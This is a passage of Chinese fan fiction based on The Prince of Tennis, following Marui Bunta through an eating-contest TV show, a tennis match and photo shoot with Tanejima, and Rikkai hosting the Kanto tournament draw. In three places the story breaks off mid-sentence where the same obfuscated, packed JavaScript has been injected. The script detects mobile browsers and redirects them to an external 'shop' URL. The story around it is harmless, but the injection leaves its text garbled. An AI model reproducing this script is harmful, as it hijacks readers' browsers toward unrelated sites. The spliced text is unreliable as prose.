“被你这么一说,不知为何,反倒让我感觉像是中了诅咒一样。” 在君岛育斗推了推眼镜,用与对外形象截然不同的冷淡语气回应之后,二人的手机同时响了起来。 导演告诉君岛,原定要参加综艺的主演因为私生活方面的负面丑闻被记者曝光,目前深陷丑闻风波,不得不退出今晚就要直播放送的大胃王锦标赛,节目眼看着就将要泡汤。 君岛育斗:“……” 主编告诉种岛,原定要跟种岛修二一起拍摄写真的模特在路上遭遇交通事故,现在是躺在医院里动弹不得的木乃伊,他特地从京都乘车到东京的行程大概率是白跑一趟了。 种岛修二:“……” 真是像诅咒一样有缘的不幸命运呢。 二人相视一眼,不约而同地陷入沉默。 好在这世上大多问题都能够通过金钱解决,在紧急联络自家旗下的相关资源之后,不到半日就有符合条件的素人被筛选出来。 这回的演员绝不能再出任何差错,君岛育斗为防节外生枝,一挂断电话就起身亲自去接人,而无法开工的种岛修二实在无所事事,便怀着看热闹的心态跟上对方。 于是就出现了丸井文太上车后面对以上二人的一幕。 他有些尴尬地把头往后仰了仰,紫眸从左边移到右边,鬓角微微渗出冷汗。 报名比赛的时候有工作人员告诉他冠军要上电视节目,听起来是件很荣幸的事,丸井文太自然不会拒绝,但好像没人说过这种活动还能买一送一吧? “听起来很可疑……”他抽了抽嘴角,“容我拒绝!” “欸——” “就算你‘欸——’也不可以!”文太表情坚决,竖起两根食指在脸前比了一个叉,“我只要参加君大人的节目就够了。” “哎呀,没想到你居然是君岛的粉丝啊。” “君大人”是个特殊称呼,通常只有君岛育斗的粉丝才会这么叫他。因此丸井文太话音才刚落下,种岛修二立即回头看向君岛育斗,在对方从笔记本屏幕后抬头的时候送给他一个调侃的扬眉。 “那当然啦,君大人在上个月刚上映的那部电视剧里的表现太酷了!我每周都在追更新!啊对了,君大人——等下可以向您要一个签名吗?” 丸井文太高高举起手。 “当然可以。” 既然是面对粉丝,君岛育斗面上当即浮现出一个温柔又清爽的营业笑容。 “我还可以送给你To签。对了,刚才还没来得及问,你的名字是?” “文太,丸井文太。” “那么今日请多指教了,丸井文太君。” 到事务所签约的一路都平安无事,因为节目安排在晚上,丸井文太还有一段时间可以自由活动。 “这座大楼的最上层有配置运动场和健身设施,如果您需要消食,可以随意使用。”君岛的经纪人向他介绍说。 “运动场?”丸井文太有些好奇场地的用途,听起来似乎空间很大。 “是的,是硬地网球场,而且还有当前市面上最高端的变速发球机,是我们君岛财阀最新研发的产品。” 顶层网球场的场地旁有放在架子里的球拍可以自行取用,丸井文太试了试发球机,感慨有钱人使用的高端产品果然非同寻常。那款机器不仅在底部安装了万向轮,还具备智能系统实现自主控制,能够在球场内自由移动,并连续发射高速发球,要想实现完美回击确实颇具难度。 不过要让丸井文太说一句体验感想的话,他觉得这个确实可以用来锻炼回球能力,可若要将其作为练习对手,还是差了那么点意思。 就在这个念头在他脑海中闪过的瞬间—— “比起那种逻辑刻板的机器,还是将变化无常的人类当作对手更有趣吧?” 有个人直接说出了他的心声。 丸井文太的眼皮跳了一下,他转过头,视线滑到场外,恰好迎来了种岛修二适逢其时的一个狡黠眨眼。 又是这个家伙啊。他“呃”了一声,立即抿起嘴唇,有点审视地瞧向种岛修二。 和赤也同类型的天然卷,黑肤白发,身材比例堪比男模,但外套只穿半边袖子,还有极具特色的关西腔,简直是从头到脚都写满了招摇的奇异人士。 最关键的是,丸井文太从第一眼看见对方那瞬间就能够判明,此人是他难得不擅长应付的性格类型。 “Chai~” 种岛修二朝他招了招手,接着从场边的架子里取走一把球拍,走到丸井文太球网对面的场区,并一脚把价值不菲的发球机踢到场外。做完这些之后,他带着一点也不符合前辈风范的俏皮表情吐了吐舌,笑着说:“让我来陪你吧,我可比那东西好玩多了哦。” 丸井文太绷着脸扬起下颌盯了他几秒,没忍住也笑了下,把球拍扛在肩上,单手叉腰,通身透出些立海出身的骄矜劲儿来。 “君大人请了我一顿免费的自助餐。你呢,也是免费的吗?” 他故意用很可爱也很蛮横的语气提问,说完用口香糖吹出一个鼓鼓的泡泡,落在后方的紫色眼眸不动声色地窥探着种岛修二的每一丝表情变化。 “我吗?唔……真为难啊,我还不想卖那么便宜呢。” 种岛修二回答得轻描淡写,却又带有滴水不漏的老练,那副在拿捏分寸时滑不留手的姿态让丸井文太又一次深感他很棘手。 在这时候,对方也仿佛看穿了他心中想法,脸上的笑容忽然扩大。 “能不能得到免费招待,这就要取决于小文太你的能力了。” 然后送给丸井文太一个调戏味儿十足的wink。 隔着一张球网,网球反复飞跃于球场两端,双方追着球来回奔跑,击球的清脆声响不断回响于耳畔。 亮晶晶的汗珠从前额流过丸井文太高挺的鼻梁,又在他一次转身跑动的时候从下颌尖尖滴落,凌乱翘起的红发早已被汗水浸湿,然而那双不服输的紫眸始终很亮,清冽冷静,无时无刻不在寻觅进攻的时机。 当网球骨碌碌地滚上球网顶端,并且轻盈流畅地滑向种岛修二那一边的球场时,银发天然卷脸上游刃有余的神情终于被一丝意外覆盖,视线投向对面笑容漂亮生动的红发少年。 “如何?很天才吧。”对方得意地说,一副好相貌上展现出神采飞扬的明媚光彩。 创意不错,最关键的是这手控球能力哪怕在高中生阶层都十分惊艳。以国中生而言,整体已经达到全国级水准。 种岛修二在内心完成评价,手上动作却没有停顿,行云流水地拿下比赛,然后就见丸井文太狠狠地长喘了一口气,手里球拍一松,接着就不顾仪态地盘腿坐了下来,汗水从颈子没入衣领,连手臂上都流了汗。 “唉……难以置信,你居然比我们学校的学长还强啊。” 他打得累惨了,一边喘气感叹还一边咕哝着“找不到破绽啊”、“防守太稳”之类七七八八的抱怨。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990252|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚至他心知对方尚未使出全力,这充其量应该只能算是指导战吧。 种岛修二拆了球网,然后走到丸井文太身边蹲了下来。 “小文太经常跟高中生打球吗?” “差不多吧,每周都打,因为学校是附属中学。” “立海吗?” “咦,你怎么知道?” “猜的啦。” 一贯制学校常见于私立校,关东这边网球部水准出色的学校就那么几所。种岛修二毕竟是国中时代常年活跃于全国舞台的顶级高手,通过简单推理就能得出答案。 最关键的是,丸井文太在不经意间提供了国中部与高中部关系密切这么一个极具特色的线索。 团结、护短、骄傲,重视前后辈的提携指导以及高度统一的集体文化,能将校队打造成这种军团作风的学校可不多见。 立海作为这边首屈一指的名门强校,能够培养出无数自信坚强的优秀球员,并在十多年间屹立不倒地统治关东,作为结论也是理所当然。 说起来,立海似乎还是去年的国中组全国冠军吧?他的思绪忽然发散了一下。 颠覆了平等院为牧之藤打下的天下呢。 种岛修二回神时瞧见丸井文太又默默地瞧着自己吹出一个泡泡,那双大眼睛透出一丝窥探人心的意味,却还远没有达到能把所有想法都掩藏起来的心机,反倒使得眸中流转的波光像观察猎人的鹿一般灵动机敏。 这个立海的小朋友也是有点意思。 他心下玩味,突然毫无预兆地伸手戳破了眼前似乎被当作一道隔阂壁障的泡泡。 “呜哇——你干什么啊?!” 随着“啪”的一声炸响,文太被吓了一跳,忍不住瞪了他一眼。 然而种岛修二全然不理他虚张声势的指责,而是趁火打劫地抓住他无法藏匿表情的这个瞬间,将话题调转到丸井文太一点也不情愿接腔的方向。 “我的招待可不是免费的哦,小文太,接下来该轮到你回报我的时间了。” 精明过头的银发天然卷盯着丸井文太眨了眨眼睛,蜜糖色的眼珠里流转着令人难以拒绝的笑意。 “走吧,我们一起拍写真。” 说着就不由分说地把文太从地上拽起来,宽大掌心圈住他白皙的手腕。 “咦——咦?啊啊……唉真是的,行吧……” 丸井文太一脸错愕,狼狈地跟在种岛修二身后踉跄了两步,随后无可奈何地叹了口气,选择了屈服。 “提前说一句,我可是个纯粹的外行,等下不准说我不专业啊。” “安啦安啦,很简单的,随便看看镜头就结束了。” “至少态度要认真啊,这再怎么说也还是工作吧?你这人真是的……” “哈哈,真是严格的好学生。小文太果然是那个立海出身呢。” “跟学校没关系吧!” 丸井文太难得会对别人产生这种束手无策的感觉,种岛修二是极少数的例外,对方那双眼睛让他感到无处可躲,内心所有念头都无所遁形。 因为种岛修二很擅长营造对自身有利的相处氛围,是和丸井文太一样,甚至更擅长使用交际手腕的同类。 只是由于出身不同,种岛修二身上那种放浪不羁的关西人气质更为浓厚。他时而顽固强硬,时而又随心所欲到会让别人迷惑的地步,却因其独特的人格魅力而从未引人反感,是为所欲为的行家。 风流倜傥,这就是此人的魅力所在。 丸井文太脾气极佳,虽说一开始在觉察他应付不了种岛修二的时候下意识提起了戒心,但是正如种岛修二一眼吃准的结论,他并不是个很难说话的人。 种岛修二愉悦地牵着丸井文太到工作室,摄影师女士对他那想一出是一出的作风习以为常,听到他说成功找到拍摄搭档时只是冷静地点了点头。 不过当她目光转向正好奇地观察四周的丸井文太,对方停顿片刻,还是没忍住发出一句感叹:“了不起啊修二,你从哪里找来了这么正点的美少年?” 那张可爱脸蛋真是标致得无可挑剔啊。 57.File 56 偶像 丸井文太随意地咬着泡泡,在摆好姿势的同时,眼睛已经找到镜头。 他那张脸天生适合上镜,白皙得难觅毛孔的皮肤在上过妆后细腻得仿佛在发光一般。因为轮廓线条干净清晰,五官生得太鲜活好看,眼睛又生来就比常人要偏大一些,顾盼间透着股不谙世事的澄净,和珠玑不御的真挚,眼角眉梢都沾着轻盈明快的少年气,只消一瞥就是直击人心的青春气息。 尤为难得的是,身为外行,丸井文太实在太擅长领会摄影师的意图了,头脑灵活,感情丰富,自身的感知力和领悟力都是顶级水平,沟通起来干脆利落,态度端正认真,那份素质哪怕在业内也极为难得。通常只有与最顶尖的实力派明星合作时,她才能体会到如此顺畅愉悦的感受。 摄影师心想这样就已经很出彩了,然而在她按下快门的那一刻,兴许是为了迎合当期杂志的Genius主题,丸井文太本能地面对镜头调整了视线的角度。 那一瞬间,甜美的容颜与微微睥睨的冷感眼神交织出一种极具张力的气场,营造出的距离感仿佛在诠释天才与常人之间的天壤之别,自信、嚣张、凛冽,又可爱又酷…… 如同在盛夏为酷热难耐的人送上一口冰淇淋,又冷又甜的气质带来多重感官冲击,画面效果比她预想的更为惊艳! 这份能在台下真诚亲切,在台上又表现得气场十足的天赋,简直天生就是被人所爱的偶像。摄影师心想。 切原赤也这天跟着自家姐姐在商店街逛了一天,自觉拎包陪聊比网球部的训练还要累人,一进家门就如蒙大赦地冲向冰箱狂灌汽水,等他恢复hp缓过劲儿来,拿着饮料罐从走廊经过,就看到他姐姐惬意地侧躺在榻榻米上吃章鱼仙贝,同时聚精会神地看着电视上播放的综艺节目。 “今天的嘉宾颜值好高啊,连跟君大人同框的镜头都看起来那么光彩照人。”她感叹,“不知道有没有SNS账号可以关注呢?” 切原赤也喝多了汽水就想吃零食,大踏步走进房间。 “姐姐,我也要吃仙贝!” “等——啊!赤也,你掰走了好大一半!” 怎么感觉你最近蹭别人东西吃的脸皮厚了不少啊。切原姐姐无奈地嘀咕了一声,刚要吐槽他都是国中生了怎么还一派孩子气,丝毫没有学会绅士风度,正用两手把巨大仙贝塞进嘴里的切原忽然动作一顿,目光盯着前方不动,然后含含糊糊却音量极大地大叫一声。 “啊!仙贝!” “啊?”他的姐姐吓了一跳,“仙贝怎么了?你噎到了吗?” “仙贝……是仙贝啊!” “我知道是仙贝!所以那又怎么了?” 切原赤也朝天翻了个白眼,惊天动地咳嗽了两声,拿起罐子猛灌饮料,然后痛苦着表情狂拍胸口并将堵在喉咙口的食物咽了下去,艰难说:“是前辈……是丸井学长啊!” 他伸出的手指对准电视屏幕里被给出特写的红发少年,此刻恰好是丸井文太与观众互动的环节,对方挑起唇角露出朝气蓬勃的闪亮笑容,对着镜头轻轻眨眼,送出一个可爱满分的wink。 切原的姐姐看呆了一瞬,用力摇晃起弟弟的肩膀。 “咦——咦?赤也你认识这个人?!立海?他是立海的学生?” 切原姐弟并不在同一所中学读书。姐姐就读于镰仓当地的一所女校,在神奈川属于中等偏上的学校;而弟弟赤也在小学六年级那年意外开窍、用功读书,竟让全家大跌眼镜地考上了神奈川偏差值最高的名校立海。他的入学通知书甚至后来被切原妈妈用相框装裱起来,至今还悬挂在他的房间,被视为切原赤也小朋友人生中非常光荣的高光时刻。 “丸井学长是立海的啊,他是二年级的。”切原赤也说,“说起来,原本丸井学长今天就想来找我玩,要不是姐姐你非要拉我出门,我们就能把新发售的那款游戏打通关的!” “什么?!你们怎么认识的?” “那个人是我在网球部的前辈啊。” 他说着还打开手机,向姐姐展示了相册里网球部的合照。 “丸井学长平常就蛮受欢迎的,每次来教室找我以后,班里的女生也会吵嚷地议论一阵子……嘿嘿,虽然比不上幸村部长跟杰克学长他们啦,不过一年生中丸井学长跟我关系最好!他一定是被我惊人的才华所倾倒了!” 切原姐姐闻言干笑了两声。 呵呵,她才不信,对方一定是觉得这傻孩子很好玩吧。 她忍不住好奇地凑上前看了眼弟弟展示的照片。 那似乎是社团众人一起去游乐园时留下的合影,穿着相同队服的部员们都围在一名蓝紫发色的少年身边。 难怪切原赤也能以如此平常的语气提起那位出现在电视上的学长——从合照就能看出,他日常相处的学长们个个风采出众,不仅位居中央的核心人物容姿端丽得让人震惊,照片中的其他人也是各具特色的好看,有帅气有俊俏有斯文有清雅有峻拔,加上氛围有如一体,气势不凡,简直像是什么风靡于万千少女的人气天团。 所以说,网球原来是平均颜值这么高的一项运动吗?她一阵恍惚。 幸好她弟弟在外形上也是一只天赋怪,置身其中的画面竟然相当合适。 电视节目在姐弟俩聊天期间逐渐走向尾声,切原赤也盘腿坐在榻榻米上,难得没有嫌弃这种综艺无聊,而是把手臂支在桌上,习以为常地托腮看着丸井文太又一次用他过人的食量震惊世人。 这位学长可是连上学的便当都会比其他人多带两盒的强者。切原赤也早就见怪不怪了,甚至还经常偷夹对方做得超美味的炸猪排和天妇罗吃。反正学长少吃点也饿不死,而且丸井文太总会原谅他的。 “丸井君的吃相真好啊。”姐姐在他身边发出感叹,“吃东西的时候都好好地把食物包在嘴里咽下去才继续下一口,所有参赛者中他是看起来最让人有食欲的,美色也是秀色可餐,光是看着就让人感到幸福……” “啊,说起来我们学校确实经常有女生不求回报地给他送吃的来着。” “这样啊,丸井君有YouTube账号吗?他看起来像是能在大胃王频道火得一塌糊涂的样子。” “没有吧。”切原赤也想了想,“别看他很爱出风头的样子,其实没有那么多兴趣去博那些看不到脸的陌生人的关注,只是一心一意地陶醉于卖弄自己了不起的地方,就是个特别自我中心的任性学长啊!” “咦?听起来赤也你好像有很多怨言的样子。” “呃、唔、啊……但他手艺也确实很好,上周还烤了曲奇分给我吃了。只是时不时骂我笨这件事真的让我很不服气啊!虽然他确实比我聪明一点点!” “哈……这样啊。”姐姐艰难忍笑,“对了,丸井君那么纤细的体型是怎么做到吃掉那么多食物的?”她连忙转移话题。 “有两个胃吧。丸井学长是这么跟我说的,他好像身体构造和我们不太一样,然后吃下去的东西很快就用训练燃烧掉了。学长还叮嘱我不要跟别人说,因为会害他被科学怪人绑走研究……对了,我觉得姐姐你是家人,应该不会出卖我吧?哈哈。” 切原赤也这样说着,似乎突然意识到自己不慎失言,还略带试探地瞥了过来一眼,真是把难得的精明都浪费在了毫无意义的地方。 “笨蛋赤也!”他的姐姐气极反笑,“比起怀疑我,你还是先怀疑一下把你当笨蛋的学长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17006291|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。” 大胃王锦标赛颁奖后有个作为粉丝福利的互动环节,是冠军与大明星君岛育斗一起演唱结束曲,只是不知为何,节目最后还请来一位切原赤也并不熟悉的客串人士。他没听过种岛修二这个名字,却对那人一头桀骜不驯的卷毛感到格外亲切,感觉像是遇到了遭遇相同苦难的同道中人一样。 丸井文太的唱功是在海原祭的校内演出时被观众普遍认可的动听,与那二位公众人物同台献唱也毫不逊色,节目完美地落下帷幕。次日他洋洋得意地在部室里展示了刻录了那首名为「エビバデ on Stage!!!」的单曲的光碟,还有君岛育斗亲手赠送的签名板,炫耀的尾音轻快得几乎飘了起来。 “这可是君大人送我的哦。” 切原赤也看着他脸上泛起红晕的喜悦模样,心中莫名有些吃味,嘴巴不自觉地撅了起来,但他压根没有深究自己到底在不爽什么,手上动作快过大脑思考,飞快抢过丸井文太手里的签名板:“丸井学长你太狡猾了啊,我也要!” “欸?” “就是……像这样!” 丸井文太眨眨眼,看见切原赤也像是小学生展示画作一样把他的签名板举起来,在上面“To丸井文太”的文字后方被加了一个顿号,然后添上了切原赤也歪歪扭扭的名字。 好的,现在这张签名板很幽默地变成君岛育斗同时送给丸井文太与切原赤也二人的To签了。 “喂,赤也你在搞什么啊。” 丸井文太抽了抽嘴角,虽然没有生气,但他还是忍不住抱怨起学弟的狗爬字。 “你连自己的名字都写得这么丑……” “赤也,你太松懈了!” 文太话还没说完,捕捉到关键字的真田眼底锐色一闪,目光犀利地扫过切原手中的签名板,忍不住说教起来:“俗话说字如其人,凭一个人写出的字就能看出内心修养的境界,名字更是相当于自身标志的存在,你把自己的名字写成这样是成何体统?” 然后他劈手夺过纸笔,在切原赤也的名字后方留下了真田弦一郎这五个遒劲有力的硬朗汉字,并传递给自己在书法一道的得意弟子:“柳,你也写一个给赤也看看。” 柳莲二无奈地笑了下,在真田之后写下自己的名字。 真田说:“幸村,该你了。” “欸?我也要写吗?” “那是自然,我们可要给赤也树立一个好榜样才行!” “可以是可以,不过我的字可没有你和莲二写得好哦。” 幸村微微失笑,说着还调侃地朝着已经无语捂脸的文太瞧了一眼。对方倒是爽快地摆了摆手,示意自己并不介意。他便接过签名板和笔,单独另起一行,在文太名字下的空白位置签上自己的名字。 真田看后就像书法老师一样轻轻点头:“不用谦虚,幸村。你的资质绝对是一流的,需要的只是继续练习。”点评完又移过视线,“杰克、仁王、柳生,你们也来给赤也做个示范。” “我就没必要了吧?”杰克汗颜,他是巴西裔,字只能说写得还算端正。 文太笑着说:“没关系,上吧。” “那我也献丑了。”柳生客气地说,留下无懈可击的优等生笔迹。 “所以这到底是个什么play啊?”仁王非常犀利地道出一句吐槽,不过还是他勉为其难地随大流上前跟了个签名。 于是一张签着不同笔迹的名字的君岛To签诞生。 签名板在队友们手里转了一圈,最后终于重新被丸井文太拿在手中。 他抬起双臂,把它高高举起来左看右看,忽然有些开心地抿唇一笑,决定把这个别致的签名板摆在部室里当作纪念品。 58.File 57 抽签 最近镰仓是连日的晴天,兴许是由于暑期将至,在七里滨那一带的海岸附近观光戏水的游客明显多了起来,甚至江之电都时常载客满员,电车里充斥着外地乡音甚至异国口音的交谈,于是很多本地学生为了避免耽误晨间通学,便骑自行车往返于家与学校之间,好在早晚气温稍低,他们从堤上迎着海风骑车也是相当自在。 丸井文太一如既往地擅长偷懒,走出家门后笑容灿烂地迎着杰克招了招手,然后球包一拽,两腿一跨,就利索地坐上发小的自行车后座。 “出发!”他快乐地喊道。 “怎么一大早就这么有精神啊?”杰克忍不住笑,踩上脚踏板,稳稳当当地就带人骑了出去。 “嘿嘿,今天我做了口感像是布丁一样的蓝莓酱奶酪当早饭,简直是天才般的美味,弟弟们也给了非常热烈的好评呢。” “那真是恭喜你啊。” 二人的身影从居民区连绵不绝的树荫下驶过,一排排民宅渐次迤逦而下,路边满是附近人家栽种的绣球花,蓝紫色花团与葱茏绿叶簇拥在一起,微风中缠着花香与远处大海的气息,夏日风光尽数被笼罩在洋洋洒洒的阳光之中。 然后他们悠闲地通过一条长长的下坡路,光线骤然变得强烈,眼前豁然开朗,迎面便是无尽的海岸与折射着明亮光线的碧蓝海水。在海与天的布景下,公路向前延伸,空气清澈,呼呼的海风很快就将丸井文太的红发吹得凌乱,光洁的额头和被最近渐长的发丝所遮覆的耳朵都在风中暴露出来。 从近处看去,他那张天生可爱的脸庞已经逐渐褪去稚气,越来越显现出精致锐利的轮廓,不过长睫下的浅紫眼睛始终如春天里的桃花瓣一般明媚鲜艳,透着一股令人心旌摇曳的甜美气息。 仁王坐在柳生的自行车后座,从另一个岔路出现与他们相遇。对方在超过杰克那辆自行车的时候与文太目光交汇,忽然悠然自得地朝他愉快一笑,文太才刚感到不明就里,就见银发少年变魔术似的掏出一个用来吹肥皂泡的道具,叼在嘴里用力一吹,当即就有一成串的透明肥皂泡争先恐后地朝他脸上飞来。 “仁王——!!!” 杰克见状无奈地长叹了口气,只能任劳任怨地加快蹬脚踏板的速度,载着愤怒的伙伴追赶柳生的自行车。 在刚结束期末考试但尚未正式开始放假的最后这几天里,所有人身上都萦绕着一种过度悠闲的懒散氛围,连课上讲评考题的老师都不再叫学生起来回答问题,铃声一响就爽快放人,课后呼朋引伴一起去卡拉OK放松的号召明显多了起来,还有人说要去海边游泳,明明校内也有游泳池的,可能这就是所谓的氛围至上吧。 不过对于即将参加关东大赛的网球部成员来说,这些消遣都与他们无缘,放学后挥一挥手与成群结伴的同学们作别,然后就转过身拎起球包向网球场走去。 摆脱了期末考试的压力,他们反而能够更加专注地投身于赛前的日常训练中。 网球和比赛,这就是这群人心目中的第一事项。 而关东大赛的开赛日也在他们的期待中越来越近—— 立海的教学楼面朝校园北门,幸村精市在经过两栋楼之间的连廊时脚步停了几秒,视线投向楼下。与那些放学以后走出校门的立海学生不同,有个穿着外校制服的少年双手插兜逆着人流走进他们学校,然后对方仿佛是察觉到幸村精市漫不经心的注视,蓦地抬高视线,在辨认出他的同时将并起的两指朝天一点,极其张扬地打了个招呼。 幸村精市垂下眼睫,发出一声模糊的轻笑。 作为同样自加入网球部起便执掌大权的部长,双方又属于关东地区有如龙虎争霸的两所学校,他自然对那位生性高调的冰帝之王印象深刻。哪怕此刻双方相隔甚远,无法看清彼此的表情,幸村精市也能确信迹部景吾此刻定然带着不可一世的笑容,骄傲又气定神闲,就连对方眼角下的那颗泪痣也会因他那盛气凌人的姿态而闪闪发光。 今天是关东大赛前的编组抽签日,会场定于立海的海友会馆大教室。这样的安排沿袭至今已有14届,事实上要论地理位置的便利,在整个关东地区的一都六县之中,自然东京才是绝对的中心,而且首都从来不乏财力雄厚的学校,比如冰帝的大礼堂就被修建得富丽堂皇、气派无比,那为何唯独神奈川的立海能被大赛方青睐有加,忠贞不渝呢? “请看,手冢君。这就是冠军的学校——立海大附属中学。” 在立海的校门前,青学部长大和佑大对他身边的手冢国光说,语气中带着感慨。 “去年我也是在这里参加关东大赛的抽签会,而且在我上一任的网球部部长,他曾经也是来到这里参加抽签。” 取得关东大赛优胜的学校,会在下一年作为大赛前编组抽签的会场。这让所有参赛学校都有机会参观最强的网球部,也是大赛方给予冠军的荣耀。 至今已有连续14届关东大赛的抽签都在立海举行,也就证明这所学校已经实现了关东大赛14连霸。如此非同寻常的纪录摆在这群14、15岁的少年们面前,甚至强悍得会让人有些丧失实感。 大和注意到手冢面色平静地目视前方,不禁微笑道:“你是第一次参加关东大赛,不对立海感到好奇吗?究竟他们会是怎样的一支队伍,才能年复一年地扛起如此耀眼又沉重的成绩。” “大和部长,我不认为以前学长们取得的成绩代表我们的最高上限,立海过去取得的荣誉也绝不是能让他们高枕无忧的护城河。归根结底,他们都是和我们年龄相仿的网球选手,比赛胜负只取决于双方在赛场上的表现。” 手冢理智地说道,镜片后的凤眼深深望向大和浮现出惊讶表情的脸庞。 “接住所有由对手打过来的球,再把球打到对手无法回击的地方——我们只需要考虑如何实现这个目标,就能击败他们。” “是啊……你说的也没错。” 大和笑了一下,心中却无奈于现实远比理想要更复杂。网球部内的日常训练强度、选拔机制的设计、校方支持的力度和资源、指导水准、部员的平均素养、群体精神的培养、队友之间的信赖关系等等,立海在一众网球名校中也是独树一帜的发挥出色,已经达到日臻完美的程度,这些都是如今的青学远不能及的。 不过,大和佑大认为手冢国光是他所见过的最有天赋的球员,尽管那份理想主义对于大多人来说有些孤高,但他还是对这位后辈寄予厚望。 “我明年就要引退了。”大和说,“很遗憾我是个不争气的网球部部长,只能带你到这里参会。但我相信手冢君你绝对能取得比我更高的成就,也希望你能为青学带来更大的荣誉,未来属于你们新一代的人才,我期待着青学也有能成为各校朝圣地的一天。” 手冢国光轻轻点头。 抽签会场是阶梯教室,手冢跟随大和找了个靠近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17019117|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走道位置坐下,视线环视一圈,冰帝的迹部、山吹的南和千石、六角的佐伯都分散坐在附近,身为东道主的幸村与真田坐在教室最前方,门口则是柳带着几名一年级新生协助大赛方工作人员开展签到和人员引导工作。 关东大赛共有16支入选队伍,其中根据各地的参赛规模,东京都大赛的冠军冰帝与亚军青学、神奈川县大赛的冠军立海、千叶县大赛的六角直接被列为种子队,分别被编入4个大组。 关东大赛各组都不设置轮空名额,所有队伍均需参加第一轮淘汰赛,最后由名次前6的队伍晋级全国大赛。 至于分组,遵循惯例,蝉联14届关东冠军的立海直接锁定第一分组,东京都大赛冠军队冰帝锁定第四分组,亚军队青学分配到与前者不同半区的第二分组,千叶县大赛冠军六角则位于第三分组。 从这样的安排也可看出大赛方对赛况的预期:立海一贯被视为最有可能夺冠的校队,而从强豪云集的东京厮杀出的第一强队则被视为最有希望与立海争锋的候选。既然这两校的分组已被锁定,自然要优先避免东京的两支种子队先在准决赛内战,于是青学与立海同在一个半区,六角与冰帝处于另一个半区。 届时每个分组都将先举行两轮淘汰赛,筛选出本届关东大赛的四强队伍,准决赛将在归于相同半区的四强之间举行,然后在两大半区的优胜队之间举行决赛。 种子队是不需要参与抽签的,但为了第一时间知晓与他们相同分组的其他学校,提前做好赛前准备,各校的部长都会到现场参会。 各校代表逐一上台抽签,大和看着前方逐渐被填完整的对阵表,笑了笑:“我们今年运气不错。” “还不能大意。”手冢认真地说,“前两轮淘汰赛将决定队伍能否进军全国大赛,特别是第一轮,败者没有进入复活赛的机会,我们必须全力以赴。” 抽签结束后,有些人在散场后选择直接离开,也有些人表现出了对立海的强烈兴趣,打算去参观他们的网球部。 “我们也去看看吧。”大和说,手冢轻轻点头。 夏天的立海校园是红与绿的碰撞,由红砖层叠堆砌的教学楼透出文艺复古的气息。爬藤植物攀着赭红外墙蜿蜒而上,午后的阳光在绿叶、细藤与砖缝的斑驳碎影之间挪移跳跃,不动声色间便在静谧中勾勒出百年名校的厚重底蕴。 大和若有所思地望着那片生长着绿藤的红墙,慢慢说:“立海是在神奈川一枝独秀的名门,常年在多个领域位居第一。不仅是网球部,这里的学生都将优秀视为一种如呼吸般自然的习惯,因此他们普遍具备非常强烈的好胜心,事事争先,更不能容忍自身从高处跌落。这种以常胜为目标的精神是一种非常可怕的原动力,让他们的所有队员都犹如某种狂信徒一样执着于攀向高处。” 就像他眼前这些沿着墙缝生长的爬山虎一样,生机勃勃,绿意盎然。 出身于这种学校的选手会躺在曾经的荣誉上忘乎所以吗? 大和佑大在抽签会上一看到幸村精市就心中了然,立海部长那份矜持笑容的背后是极其强势的傲气。这种人绝不会满足于一时风光,过去的成就只会让对方变得愈加野心勃勃,从前是关东连霸,而在现在,幸村精市的目光无疑已经落在全国,这位惊才绝艳的天才无疑是想完成立海过去14年间都未能实现的创举! 在他统领立海网球部的国中三年,实现全国三连霸! 59.File 58 赛前 “最近感觉真田副部长特别沧桑呢。丸井学长,你有什么头绪吗?” “我是有头绪,但最应该有头绪的人居然没头绪的这件事反而让我没什么头绪啊。赤也,你有什么头绪吗?” “呃……咦?丸井学长你是在说日语吗?” 有的人就差把“我听不懂”几个大字写在脸上了,而且写的可能还是片假名而不是汉字,毕竟他的国语水平实在太弱。 “我说你啊,真的掌握了语言这项技能吗?英语也是一塌糊涂吧?”丸井文太忍不住吐槽。 一般来说,大多数立海学生还会兼修第二外语,但切原赤也因为英语的必修课一直不是很行的样子,只能在选修课上选择继续巩固学习英语。 “呜……”切原赤也无言以对。 “与其为真田的事操心,你还是先操心一下自己吧。” 丸井文太咬着泡泡目视天空。 虽然学弟真的很好玩也很可爱,但他每天都只是脑袋空空地背着个大球包来学校打网球,这样真的没问题吗? 切原赤也歪了歪头:“总感觉丸井学长你好像话里有话呢,今天说话都拐弯抹角的。” “哈哈,想不到你这家伙有时候还挺敏锐的。” “欸?这是在夸我吗?”对方不好意思地挠了挠后脑,“也还好啦,嘿嘿。” “呵呵。” “怎么了啊,丸井学长?你干什么忽然冷笑啊?!” “没什么,我只是觉得该撤回前言。” 